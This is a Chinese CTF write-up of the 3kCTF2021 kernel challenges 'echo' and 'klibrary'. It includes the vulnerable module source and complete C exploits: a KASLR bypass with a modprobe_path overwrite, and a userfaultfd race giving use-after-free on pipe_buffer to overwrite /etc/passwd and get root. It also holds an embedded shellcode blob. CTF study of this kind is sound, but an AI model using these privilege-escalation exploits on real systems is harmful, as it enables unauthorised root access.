3kCTF2021 echo klibrary

文章目录

  • 前言
  • echo
  • klibrary

前言

今天状态不好,很多事情都不想干,就做一做简单的题目

echo

  • 内核版本:v5.9.10
  • smap/smep/kaslr 开启
  • modprobe_path 可写

题目给了源码,非常简单就是无限次的任意地址读写:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/uaccess_64.h>// Syscall number : 548SYSCALL_DEFINE2(echo, void*, to, void*, from) {return copy_user_generic_unrolled(to, from, 8);
}

所以思路就毕竟简单了,先泄漏 kbase,然后任意地址覆写 modprobe_path 即可。所以这个题目关键的问题就在于如何 bypass kaslr

思路一:
当我们传入一个无效的地址时,copy_user_generic_unrolled 并不会导致内核 crash,当 copy_user_generic_unrolled 读取/写入失败时,其返回的是读取/写入失败的字节数,而成功时则返回 0

所以利用该特性,我们可以爆破 page_offset_base,然后 page_offset_base + 0x9d000 保存着 secondary_startup_64 的地址,所以可以利用其来泄漏 kbase

思路二:
内核版本 v5.9.10cpu_entry_area 区域并没有参与随机化,并且该区域保存着一些内核地址:

gef> x/16gx 0xfffffe0000000000+4
0xfffffe0000000004:     0xffffffff9f008e00      0x00100a7000000000
0xfffffe0000000014:     0xffffffff9f008e03      0x00100f1000000000
0xfffffe0000000024:     0xffffffff9f008e02      0x00100a1000000000
0xfffffe0000000034:     0xffffffff9f00ee00      0x0010087000000000
0xfffffe0000000044:     0xffffffff9f00ee00      0x0010089000000000
0xfffffe0000000054:     0xffffffff9f008e00      0x001009f000000000
0xfffffe0000000064:     0xffffffff9f008e00      0x001008b000000000
0xfffffe0000000074:     0xffffffff9f008e00      0x00100aa000000000

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag.txt' > /tmp/x");system("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");system("chmod +x /tmp/dummy");system("/tmp/dummy");sleep(0.3);system("cat /flag.txt");exit(0);
}void exp1() {uint64_t koffset = 0;uint64_t start = 0xffff880000000000;while (1) {int64_t res = syscall(548, &koffset, start);if (!res) break;start += 0x10000000;}printf("[+] page_offset_base: %#llx\n", start);syscall(548, &koffset, start+0x9d000);koffset -= 0xffffffff81000030;uint64_t modprobe_path = koffset + 0xffffffff81837cc0;printf("[+] koffset: %#llx\n", koffset);printf("[+] modprobe_path: %#llx\n", modprobe_path);char path[8] = "/tmp/x";syscall(548, modprobe_path, path);get_flag();
}void exp2() {uint64_t koffset = 0;syscall(548, &koffset, 0xfffffe0000000004);koffset -= 0xffffffff81208e00;uint64_t modprobe_path = koffset + 0xffffffff81837cc0;printf("[+] koffset: %#llx\n", koffset);printf("[+] modprobe_path: %#llx\n", modprobe_path);char path[8] = "/tmp/x";syscall(548, modprobe_path, path);get_flag();
}int main(int argc, char** argv, char** envp)
{
//      exp1();exp2();return 0;
}

效果如下:
在这里插入图片描述

klibrary

  • 内核版本:v5.9.10,可以使用 userfaultfd
  • smap/smep/kaslr/kpti 全开
  • SLUB 分配器,SLAB_HANDERN/RANDOM 都没开,没有 cg 隔离,这可以帮助我们稳定的构造堆布局

题目给了源码,主要的问题就是 CMD_REMOVE_ALL 删除所有堆块操作与其它操作使得的是不同的锁,所以其存在对临界资源的竞争:

#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/uaccess.h>
#include <linux/device.h>#define DEVICE_NAME "library"
#define CLASS_NAME "library"
#define BOOK_DESCRIPTION_SIZE 0x300#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004static DEFINE_MUTEX(ioctl_lock);
static DEFINE_MUTEX(remove_all_lock);MODULE_AUTHOR("MaherAzzouzi");
MODULE_DESCRIPTION("A library implemented inside the kernel.");
MODULE_LICENSE("GPL");static int major;
static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg);
static int library_open(struct inode* inode, struct file *filp); 
static int library_release(struct inode* inode, struct file *filp); static struct file_operations library_fops = {.owner = 			THIS_MODULE,.unlocked_ioctl = 	library_ioctl,.open = 			library_open,.release = 			library_release
};static struct class* library_class = NULL;
static struct device* library_device = NULL;struct Book {char book_description[BOOK_DESCRIPTION_SIZE]; // 0x300unsigned long index;struct Book* next;struct Book* prev;
} *root;struct Request {unsigned long index;char __user * userland_pointer;
};unsigned long counter = 1;static int add_book(unsigned long index);
static int remove_book(unsigned long index);
static noinline int remove_all(void);
static int add_description_to_book(struct Request request);
static int get_book_description(struct Request request);static int library_open(struct inode* inode, struct file *filp) {printk(KERN_INFO "[library] : manage your books safely here!\n");return 0;
}static int library_release(struct inode* inode, struct file *filp) {printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n");remove_all();return 0;
}static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {struct Request request;if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) {return -1;}// 这里使用的锁不同,所以 CMD_REMOVE_ALL 与其它操作可能存在竞争if(cmd == CMD_REMOVE_ALL) {mutex_lock(&remove_all_lock);remove_all();mutex_unlock(&remove_all_lock);	} else {mutex_lock(&ioctl_lock);switch(cmd) {case CMD_ADD:add_book(request.index);break;case CMD_REMOVE:remove_book(request.index);break;case CMD_ADD_DESC:add_description_to_book(request);break;case CMD_GET_DESC:get_book_description(request);break;}mutex_unlock(&ioctl_lock);}return 0;}static int add_book(unsigned long index) {if(counter >= 10) {printk(KERN_INFO "[library] can only hold 10 books here\n");return -1;}struct Book *b, *p;b = (struct Book*)kzalloc(sizeof(struct Book), GFP_KERNEL); // kmalloc-1kif(b == NULL) {printk(KERN_INFO "[library] : allocation failed! \n");return -1;}b->index = index;if(root == NULL) {root = b;root->prev = NULL;root->next = NULL;} else {p = root;while(p->next != NULL)p = p->next;p->next = b;b->prev = p;b->next = NULL;}counter++;return 0;
}static int remove_book(unsigned long index) {struct Book *p, *prev, *next;if(root == NULL) {printk(KERN_INFO "[library] : no books in the library yet.");return -1;} else if (root->index == index) {p = root;root = root->next;kfree(p);}else {p = root;while(p != NULL && p->index != index)p = p->next;if(p == NULL) {printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);}prev = p->prev;next = p->next;prev->next = next;next->prev = prev; // next maybe null ==> bug but not vulnkfree(p);}counter--;return 0;
}static noinline int remove_all(void) {struct Book *b, *p;b = root;while(b != NULL) {p = b->next;kfree(b);b = p;}root = NULL;counter = 1;return 0;
}static int add_description_to_book(struct Request request) {struct Book* book = root;if(book == NULL){printk(KERN_INFO "[library] : no books in the library yet.\n");return -1;}for(; book != NULL && book->index != request.index; book = book->next);if(book == NULL) {printk(KERN_INFO "[library] : the given index wasn't found\n");return -1;}if(copy_from_user((void*)book->book_description,(void*)(request.userland_pointer),BOOK_DESCRIPTION_SIZE)) {printk(KERN_INFO "[library] : copy_from_user failed for some reason.\n");return -1;}
}static int get_book_description(struct Request request) {struct Book* book;book = root;if(book == NULL) {printk("[library] : no books yet, can not read the description.\n");return -1;}while(book != NULL && book->index != request.index)book = book->next;if(book == NULL) {printk(KERN_INFO "[library] : no book with the index you provided\n");return -1;}if(copy_to_user((void*)request.userland_pointer,(void*)book->book_description,BOOK_DESCRIPTION_SIZE)) {printk("[library] : copy_to_user failed!\n");return -1;}
}static int __init init_library(void) {major = register_chrdev(0, DEVICE_NAME, &library_fops);if(major < 0) {return -1;}library_class = class_create(THIS_MODULE, CLASS_NAME);if(IS_ERR(library_class)) {unregister_chrdev(major, DEVICE_NAME);return -1;}library_device = device_create(library_class, 0, MKDEV(major, 0),0, DEVICE_NAME);if(IS_ERR(library_device)) {class_destroy(library_class);unregister_chrdev(major, DEVICE_NAME);return -1;}root = NULL;mutex_init(&ioctl_lock);mutex_init(&remove_all_lock);printk(KERN_INFO "[library] : started!\n");return 0;
}static void __exit exit_library(void) {device_destroy(library_class, MKDEV(major, 0));class_unregister(library_class);class_destroy(library_class);unregister_chrdev(major, DEVICE_NAME);mutex_destroy(&ioctl_lock);mutex_destroy(&remove_all_lock);printk(KERN_INFO "[library] : finished!\n");
}module_init(init_library);
module_exit(exit_library);

这里简单说一下,在 remove_book 函数中存在一个实现问题:

static int remove_book(unsigned long index) {struct Book *p, *prev, *next;if(root == NULL) {printk(KERN_INFO "[library] : no books in the library yet.");return -1;} else if (root->index == index) {p = root;root = root->next;kfree(p);}else {p = root;while(p != NULL && p->index != index)p = p->next;if(p == NULL) {printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);}prev = p->prev;next = p->next;prev->next = next;next->prev = prev; // next maybe null ==> bug but not vulnkfree(p);}counter--;return 0;
}

这里堆块之间是使用双向链表连接,由于不是循环链表,所以尾堆块的 next 指针为 NULL,而在删除操作中没有对尾堆块进行单独的处理,所以这里可能存在对 NULL 的解引用,测试如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}struct Request {unsigned long idx;char *ptr;
};#define CMD_ADD         0x3000
#define CMD_REMOVE      0x3001
#define CMD_REMOVE_ALL  0x3002
#define CMD_ADD_DESC    0x3003
#define CMD_GET_DESC    0x3004int fd;
void add(int idx) {struct Request req = { .idx = idx };ioctl(fd, CMD_ADD, &req);
}void dele(int idx) {struct Request req = { .idx = idx };ioctl(fd, CMD_REMOVE, &req);
}int main(int argc, char** argv, char** envp)
{fd = open("/dev/library", O_RDONLY);if (fd < 0) err_exit("open /dev/library");add(0);add(1);add(2);dele(2);return 0;
}

最后由于引用 NULL 指针从而导致 crash
在这里插入图片描述
当然这个 bug 与漏洞利用无关,这里主要的问题还是锁机制的问题,remove_all 会释放所有的堆块,在对其进行操作时会获取 remove_all_lock 锁,而其它操作都是获取的 ioctl_lock 锁,所以这里存在竞争,我们可以在 edit 的过程中调用 remove_all 释放掉堆块,这时 edit 可能导致 UAF

这里我们可以获取 UAF 读和 UAF 写,首先说下 UAF 读,这里主要利用 get_book_description 函数:

static int get_book_description(struct Request request) {struct Book* book;book = root;if(book == NULL) {printk("[library] : no books yet, can not read the description.\n");return -1;}while(book != NULL && book->index != request.index)book = book->next;if(book == NULL) {printk(KERN_INFO "[library] : no book with the index you provided\n");return -1;}if(copy_to_user((void*)request.userland_pointer, //【1】 <===== userfaultfd to stop(void*)book->book_description,BOOK_DESCRIPTION_SIZE)) {printk("[library] : copy_to_user failed!\n");return -1;}
}

可以看到,我们可以在 【1】 处使用 userfaultfd 使其暂停,然后调用 remove_all 释放掉 book 堆块,然后分配其它对象占据该对象,最后恢复执行即可实现 UAF 读,UAF 写同理,其主要利用 add_description_to_book 函数,这里不再说明。然后这里的堆块大小为 kmalloc-1024

漏洞利用思路如下:
这里笔者测试发现无法创建新的命名空间,所以 USMA 打不了,然后 keyring 没有被编译,所以也用不了。最后笔者打的 dirty pipe,具体思路如下:

  • 分配一个 book1
  • get_book_description(book1) 读取内容,然后使用 userfaultfd 使其暂停,然后释放掉该 book1,然后立刻分配 pipe_buffer 占据该释放堆块,然后恢复执行即可读取 pipe_buffer 的内容
  • 分配一个 book2
  • add_description_to_book(book2) 写入内容,然后使用 userfaultfd 使其暂停,然后释放掉该 book2,然后立刻分配 pipe_buffer 占据该释放堆块,然后恢复执行即可修改 pipe_buffer 的内容

这里笔者写 /bin/busybox 还是不行,所以还是给 /bin/busybox 赋予了一个 s 权限,尝试 dirty pipe/etc/passwd,最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct Request {unsigned long idx;char *ptr;
};#define CMD_ADD         0x3000
#define CMD_REMOVE      0x3001
#define CMD_REMOVE_ALL  0x3002
#define CMD_ADD_DESC    0x3003
#define CMD_GET_DESC    0x3004int fd;
void add(int idx) {struct Request req = { .idx = idx };ioctl(fd, CMD_ADD, &req);
}void dele(int idx) {struct Request req = { .idx = idx };ioctl(fd, CMD_REMOVE, &req);
}void edit(int idx, char* buf) {struct Request req = { .idx = idx, .ptr = buf };ioctl(fd, CMD_ADD_DESC, &req);}void show(int idx, char* buf) {struct Request req = { .idx = idx, .ptr = buf };ioctl(fd, CMD_GET_DESC, &req);
}void dele_all() {struct Request req = { 0 };ioctl(fd, CMD_REMOVE_ALL, &req);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};//#define ATTACK_FILE "/bin/busybox"
#define ATTACK_FILE "/etc/passwd"
int attack_fd;
int pipe_fd[2][2];
struct pipe_buffer evil;char copy_src[0x1000];
void* handler0(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler0");dele_all();uint64_t offset = 1;if (pipe(pipe_fd[0]) < 0) err_exit("pipe");if (splice(attack_fd, &offset, pipe_fd[0][1], NULL, 1, 0) < 0)err_exit("splice");uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler1");uint64_t offset = 1;evil.flags = 0x10;memcpy(copy_src, &evil, sizeof(struct pipe_buffer));dele_all();if (pipe(pipe_fd[1]) < 0) err_exit("pipe");if (splice(attack_fd, &offset, pipe_fd[1][1], NULL, 1, 0) < 0)err_exit("splice");uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}int main(int argc, char** argv, char** envp)
{bind_core(0);int res;char buf[0x4000] = { 0 };char *uffd_buf0, *uffd_buf1;pthread_t thr0, thr1;fd = open("/dev/library", O_RDONLY);if (fd < 0) err_exit("open /dev/library");attack_fd = open(ATTACK_FILE, O_RDONLY);if (attack_fd < 0) err_exit("open " ATTACK_FILE);uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);uffd_buf1 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);register_userfaultfd(&thr1, uffd_buf1, 0x1000, handler1);add(0);show(0, uffd_buf0);memcpy(&evil, uffd_buf0, sizeof(struct pipe_buffer));binary_dump("pipe_buffer", &evil, sizeof(struct pipe_buffer));add(1);edit(1, uffd_buf1);unsigned char elfcode[] = {/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,0x99, 0x0f, 0x05, 0xEB};//      write(pipe_fd[1][1], elfcode, sizeof(elfcode));char *ps = "ot::00:0:root:/root:/bin/sh\n";write(pipe_fd[1][1], ps, sizeof(ps));puts("[+] Please execute 'su root' to get root shell");system("su root");return 0;
}

效果如下:
在这里插入图片描述
这里的利用方式其实还有很多,可以选择打 tty_struct 结构体,或者劫持 pipe_buffer 打劫持程序执行流,但是这时得泄漏堆地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/10952.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker(四):数据卷

数据卷 卷的设计目的就是数据的持久化&#xff0c;完全独立于容器的生存周期&#xff0c;因此Docker不会在容器删除时删除其挂载的数据卷。 1、docker run docker run -it --privilegedtrue -v /宿主机绝对路径目录:/容器内目录 镜像名2、挂载注意事项 --privilegedtru…

YOLO数据集制作(二)|json文件转txt验证

以下教程用于验证转成YOLO使用的txt格式&#xff0c;适用场景&#xff1a;矩形框&#xff0c;配合json格式文件转成YOLO使用的txt格式脚本使用。 https://blog.csdn.net/StopAndGoyyy/article/details/138681454 使用方式&#xff1a;将img_path和label_path分别填入对应的图…

网络 | 应用层-websocket协议概述与握手过程解析

背景&#xff1a;这里为了实现消息实时传输决定引入websocket协议。 不管是发送消息还是接收消息&#xff0c;都需要实时传输&#xff0c;张三发给李四&#xff0c;李四立马就能收到&#xff0c;基于HTTP实现是有些困难的。 但轮询方式也带来了一些问题 1、消耗更多系统资源&…

Nacos 入门篇---内存注册表:高并发下如何保证注册表读写并发冲突 ?(五)

一、引言 本章来讲解Nacos注册表是如何进行写入数据的&#xff5e; 二、目录 目录 一、引言 二、目录 三、服务注册源码内容回顾 客户端源码回顾&#xff1a; 服务端源码回顾&#xff1a; 四、Nacos 注册表结构详解 五、写时复制概念 六、Nacos服务注册写入注册表源…

Lombok注解详解

文章目录 注解详解lombok包下注解汇总- Getter- Setter- ToString- EqualsAndHashCode- Data- Value- NonNull- NoArgsConstructor- AllArgsConstructor- RequiredArgsConstructor- Builder- Synchronized- Cleanup- Singular- Generated- SneakyThrows- val- var experimental…

面试八股之Redis篇2——redis分布式锁

&#x1f308;hello&#xff0c;你好鸭&#xff0c;我是Ethan&#xff0c;一名不断学习的码农&#xff0c;很高兴你能来阅读。 ✔️目前博客主要更新Java系列、项目案例、计算机必学四件套等。 &#x1f3c3;人生之义&#xff0c;在于追求&#xff0c;不在成败&#xff0c;勤通…

互联网引流艺术:精准获客的黄金法则

在如今这个信息爆炸的时代&#xff0c;互联网引流不再是简单地发布广告和等待潜在客户的到来。它变成了一门需要策略、技巧和持续创新的艺术。作为一位资深的互联网营销从业者&#xff0c;我深知精准推广的重要性&#xff0c;以及它在帮助企业获得理想客户中的关键作用。以下是…

用HAL库改写江科大的stm32入门例子_1、按键控制led灯

使用STM32CubeMX生成Keil工程并完成流水灯 ,就不重复了&#xff1a;直接参考&#xff1a; 使用STM32CubeMX生成Keil工程并完成流水灯 进入主题&#xff0c;用中断实现&#xff0c;操作步骤如下&#xff1a; 1 如下图设置PB11 管脚 2 设置PB11为下降沿中断&#xff1a; 3 PA…

探索设计模式的魅力:权力集中,效率提升,中心化模式的优势与挑战

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 ✨欢迎加入探索中心化模式之旅✨ 大家好啊&#xff01;&#x1f44b; 这次我们要聊的是IT界一…

AI绘画动漫转真人详细教程

从小到大&#xff0c;我们看过的动漫、玩过的游戏有很多很多 但我们会发现里面的角色或者人物都是二次元的 我就会好奇这些动漫人物在现实中会长什么样 而现在&#xff0c;我们通过AI绘画竟然就能还原出来他们现实中的样子 除了动漫角色和游戏人物&#xff0c;古代的画像、经典…

day11-StreamFile

1.Stream流 1.1 体验Stream流 需求&#xff1a;按照下面的要求完成集合的创建和遍历 创建一个集合&#xff0c;存储多个字符串元素 把集合中所有以"杨"开头的元素存储到一个新的集合 把"杨"开头的集合中的长度为3的元素存储到一个新的集合 遍历上一步得到…

【笔记】从零开始做一个男性人体的流程/躯干篇(超级详细)

躯干整体 大体 1.创建一个正方体&#xff0c;摆好位置 2.实例呀啥的都搞好 3.胸部它是一个前窄后宽的结构 斜方肌 臀部 1.臀部是前宽后窄的结构 2.我们再去侧面调整以下 胸椎向上倾斜&#xff0c;盆骨向下倾斜。脊椎是s形的 3.真实的身体没有这么方正&#xff0c;所以微调…

第四步->手撕spring源码之bena注入实现和依赖

本步骤目标 上述几个步骤 定义和注册Bean (opens new window)、实例化Bean (opens new window)&#xff0c;按照是否包含构造函数实现不同的实例化策略 (opens new window)&#xff0c;那么在创建对象实例化这我们还缺少什么&#xff1f;其实还缺少一个关于类中是否有属性的问题…

ctfshow web274

web274 thinkphp框架序列化漏洞 EXP <?php namespace think; abstract class Model{protected $append[];private $data[];function __construct(){$this->append["lin">["ctf","show"]];$this->data["lin">new Req…

前端笔记-day02

文章目录 01-无序列表02-有序列表03-定义列表04-表格06-表格-合并单元格07-表单-input08-表单-input占位文本09-表单-单选框10-表单-上传多个文件11-表单-多选框12-表单-下拉菜单13-表单-文本域14-表单-label标签15-表单-按钮16-无语义-span和div17-字体实体19-注册登录页面 01…

LeetCode 题目 121:买卖股票的最佳时机

作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任字节跳动数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python&#xff0c;欢迎探讨交流 欢迎加入社区&#xff1a;码上找工作 作者专栏每日更新&#xff1a; LeetCode解锁1000题…

“知识世界”项目的自动化测试

目录 1.项目介绍 1.1 项目功能介绍 2. 项目测试 2.1 需求分析 2.2 测试计划 2.3 设计测试用例 &#xff08;1&#xff09; 设计 登录 的测试用例 &#xff08;2&#xff09;设计 文章列表页 的测试用例 &#xff08;3&#xff09;设计 详情页 的测试用例 &#xff08…

车载测试系列:车载常见面试题

自我介绍项目介绍项目具体是怎么测试的&#xff1f;CANoe是怎么使用的&#xff1f;台架是怎么搭建的&#xff1f;台架怎么测试的&#xff1f;诊断服务是怎么测试的&#xff1f;功能寻址和物理寻找的区别10服务有什么会话&#xff1f;11服务怎么确定软件复位和硬件复位是什么&am…

Gauge32类型的数据转换成int类型的数据

提前编译号snmp的库 #include <iostream> #include <libsnmp.h>#include "snmp_pp/snmp_pp.h"#ifdef WIN32 #define strcasecmp _stricmp #endif#ifdef SNMP_PP_NAMESPACE using namespace Snmp_pp; #endifusing namespace std; using namespace Snmp_pp…

JAVA抽象类,接口与内部类,常用API知识总结

文章目录 抽象类和抽象方法抽象类的定义格式抽象方法的定义格式注意事项 接口定义和使用成员特点和类之间的关系新增JDK8新增方法JDK9新增方法 总结设计模式 内部类使用场景分类成员内部类获取内部类对象访问成员变量 静态内部类局部内部类匿名内部类格式使用场景 示例 常用API…